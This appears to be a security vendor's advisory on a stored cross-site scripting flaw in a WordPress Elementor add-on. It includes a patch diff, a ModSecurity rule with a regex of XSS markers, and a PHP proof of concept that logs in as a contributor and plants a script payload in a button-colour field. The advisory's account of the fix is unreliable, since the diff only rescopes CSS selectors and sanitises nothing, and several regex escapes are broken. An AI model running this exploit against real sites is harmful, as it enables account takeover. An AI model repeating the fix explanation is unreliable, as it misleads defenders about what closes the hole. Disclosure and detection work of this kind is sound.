Atomic Edge analysis of CVE-2026-125743: The Addon Elements for Elementor plugin for WordPress (up to version 1.5) contains a stored cross-site scripting (XSS) vulnerability due to insufficient input sanitization and output escaping. The flaw resides in the dual-button widget and allows authenticated attackers with contributor-level privileges or higher to inject arbitrary web scripts into pages that execute when any user views the affected page. The CVSS score is 6.4, reflecting the need for authentication and user interaction.
Root Cause: The vulnerability exists in the dual-button widget’s style controls, specifically in the handling of the `button1_background_color_hover` and `button2_background_color_hover` parameters. In the vulnerable version 1.5, the `selector` values for these controls (in `modules/dual-button/widgets/dual-button.php` around lines 609 and 663) did not include the `.animation-none` class restriction. This allowed attackers to inject CSS selectors that could break out of the intended context and execute JavaScript. The patched version adds `{{WRAPPER}}.animation-none` to the selector, properly scoping the CSS and preventing injection.
Exploitation: An attacker with contributor-level access can craft a malicious request to the Elementor editor’s save action, injecting JavaScript payloads into the vulnerable style parameters. For example, setting `button1_background_color_hover` to a value like `alert(1)` or a CSS injection that loads external scripts. This payload is stored in the page’s meta data and executed when the page is rendered, affecting all visitors including administrators.
Patch Analysis: The patch (version 1.5.1) modifies the `selector` arrays for the hover background color controls in `dual-button.php` to include `{{WRAPPER}}.animation-none` before the hover states. This restricts the CSS injection to elements with the `animation-none` class, preventing malicious CSS from affecting other parts of the page or executing scripts. The patch also updates the border-radius selectors for both buttons to include the same restriction.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser, leading to session hijacking, credential theft, or privilege escalation (e.g., creating new admin accounts). The stored nature means the payload persists until removed, potentially affecting many users.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/addon-elements-for-elementor-page-builder/elementor-addon-elements.php
+++ b/addon-elements-for-elementor-page-builder/elementor-addon-elements.php
@@ -4,7 +4,7 @@
* Description: Add new elements to Elementor page builder plugin.
* Plugin URI: https://www.elementoraddons.com/elements-addon-elements/
* Author: WebTechStreet
- * Version: 1.5
+ * Version: 1.5.1
* Author URI: https://webtchstreet.com/
*
* Text Domain: wts-eae
@@ -15,7 +15,7 @@
define( 'EAE_URL', plugins_url( '/', __FILE__ ) );
define( 'EAE_PATH', plugin_dir_path( __FILE__ ) );
define( 'EAE_SCRIPT_SUFFIX', defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min' );
-define( 'EAE_VERSION', '1.5');
+define( 'EAE_VERSION', '1.5.1');
--- a/addon-elements-for-elementor-page-builder/modules/dual-button/widgets/dual-button.php
+++ b/addon-elements-for-elementor-page-builder/modules/dual-button/widgets/dual-button.php
@@ -494,6 +494,7 @@
'size_units' => [ 'px', '%' ],
'selectors' => [
'{{WRAPPER}} .eae-button-1-wrapper' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+ '{{WRAPPER}}.animation-none .eae-button-1-wrapper:hover,{{WRAPPER}} .eae-button-1-wrapper:hover:before,{{WRAPPER}} .eae-button-1-wrapper:before' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
],
]
);
@@ -609,7 +610,7 @@
[
'name' => 'button2_background_color_hover',
'label' => __( 'Background Color', 'wts-eae' ),
- 'selector' => '{{WRAPPER}} .eae-button-2-wrapper:hover,{{WRAPPER}} .eae-button-2-wrapper:hover:before,{{WRAPPER}} .eae-button-2-wrapper:before',
+ 'selector' => '{{WRAPPER}}.animation-none .eae-button-2-wrapper:hover,{{WRAPPER}} .eae-button-2-wrapper:hover:before,{{WRAPPER}} .eae-button-2-wrapper:before',
]
);
@@ -663,6 +664,7 @@
'size_units' => [ 'px', '%' ],
'selectors' => [
'{{WRAPPER}} .eae-button-2-wrapper' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+ '{{WRAPPER}}.animation-none .eae-button-2-wrapper:hover,{{WRAPPER}} .eae-button-2-wrapper:hover:before,{{WRAPPER}} .eae-button-2-wrapper:before' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
],
]
);
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-125743
# Block XSS attempts via the dual-button widget's background color hover parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:2026125743,phase:2,deny,status:403,chain,msg:'CVE-2026-125743 Stored XSS in Addon Elements for Elementor via dual-button widget',severity:'CRITICAL',tag:'CVE-2026-125743'"
SecRule ARGS_POST:action "@streq elementor_ajax" "chain"
SecRule ARGS_POST:actions "@rx (button1_background_color_hover|button2_background_color_hover)" "chain"
SecRule ARGS_POST:actions "@rx (</style>|<script|javascript:|onerrors*=|onloads*=)" "t:urlDecodeUni,t:htmlEntityDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125743 - Addon Elements for Elementor <= 1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting
// Configuration
$target_url = 'http://target-wordpress.local'; // Change to your target
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Password
// Step 1: Authenticate as contributor
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Create a new page with Elementor data containing XSS payload
// The payload is injected into the dual-button widget's hover background color control.
$payload = '</style><script>alert("XSS by Atomic Edge")</script>';
$elementor_data = json_encode([
[
'id' => 'abc123',
'elType' => 'section',
'elements' => [
[
'id' => 'def456',
'elType' => 'column',
'elements' => [
[
'id' => 'ghi789',
'elType' => 'widget',
'widgetType' => 'eae-dual-button',
'settings' => [
'button1_background_color_hover' => $payload,
'button1_text' => 'Click Me',
'button2_text' => 'Click Me Too'
]
]
]
]
]
]
]);
// Prepare post data for wp-admin/post.php (or use REST API if available)
$post_fields = [
'action' => 'editpost',
'post_ID' => '0', // New post
'post_type' => 'page',
'post_title' => 'Malicious Page',
'post_status' => 'publish',
'content' => '<!-- wp:paragraph --><p>Test</p><!-- /wp:paragraph -->',
'meta_input' => [
'_elementor_data' => $elementor_data,
'_elementor_edit_mode' => 'builder',
'_elementor_template_type' => 'wp-page',
'_elementor_version' => '3.0.0'
]
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Trigger XSS by visiting the page (the payload executes on page view)
// Extract post ID from response (simplified; in real scenario parse the redirect location)
preg_match('/post=(d+)/', $response, $matches);
$post_id = $matches[1] ?? 1;
$page_url = $target_url . '/?page_id=' . $post_id;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page_content = curl_exec($ch);
curl_close($ch);
if (strpos($page_content, 'alert("XSS by Atomic Edge")') !== false) {
echo "XSS payload found in page output. Vulnerability confirmed.n";
} else {
echo "Payload not reflected. Check manually.n";
}
?>